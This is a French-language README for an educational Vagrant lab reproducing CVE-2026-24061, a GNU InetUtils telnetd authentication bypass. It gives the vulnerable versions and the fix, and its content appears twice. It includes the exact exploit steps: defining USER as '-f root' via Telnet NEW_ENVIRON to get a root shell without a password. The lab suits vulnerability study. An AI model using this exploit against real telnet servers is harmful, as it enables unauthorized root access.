
Laboratoire de reproduction pour CVE-2026-24061, un contournement d'authentification dans GNU InetUtils telnetd. Fournit un environnement isolé basé sur Vagrant et des instructions d'exploitation étape par étape pour démontrer l'accès root au shell.
⚠️ Usage éducatif uniquement. Environnement isolé.
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7.
En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
La variable USER reçue du client pendant la négociation Telnet est passée
directement à /usr/bin/login sans validation :
/usr/bin/login -p -f root
Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce comportement est documenté dans la RFC 1572 (section 7) comme un risque connu — pourtant le
bug est resté présent dans inetutils pendant plus d'une décennie.
GNU InetUtils telnetd 1.9.3 à 2.7
Mettre à jour vers GNU InetUtils ≥ 2.7-2
Ce lab utilise Vagrant pour provisionner une vraie VM isolée exécutant la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.
Prérequis : Vagrant + VirtualBox installés sur votre machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Depuis votre machine hôte :
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de négociation — avant même l'apparition du prompt login:.

Agokoli
⚠️ Usage éducatif uniquement. Environnement isolé.
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7.
En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
La variable USER reçue du client pendant la négociation Telnet est passée
directement à /usr/bin/login sans validation :
/usr/bin/login -p -f root
Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce risque est documenté dans la RFC 1572 (Section 7) — pourtant le bug est resté
présent dans inetutils pendant plus d'une décennie.
GNU InetUtils telnetd 1.9.3 à 2.7
Mettre à jour vers GNU InetUtils ≥ 2.7-2
Ce lab utilise Vagrant pour provisionner une vraie VM isolée faisant tourner la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.
Prérequis : Vagrant + VirtualBox installés sur votre machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Depuis votre machine hôte :
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de négociation — avant même l'apparition du prompt login:.

Agokoli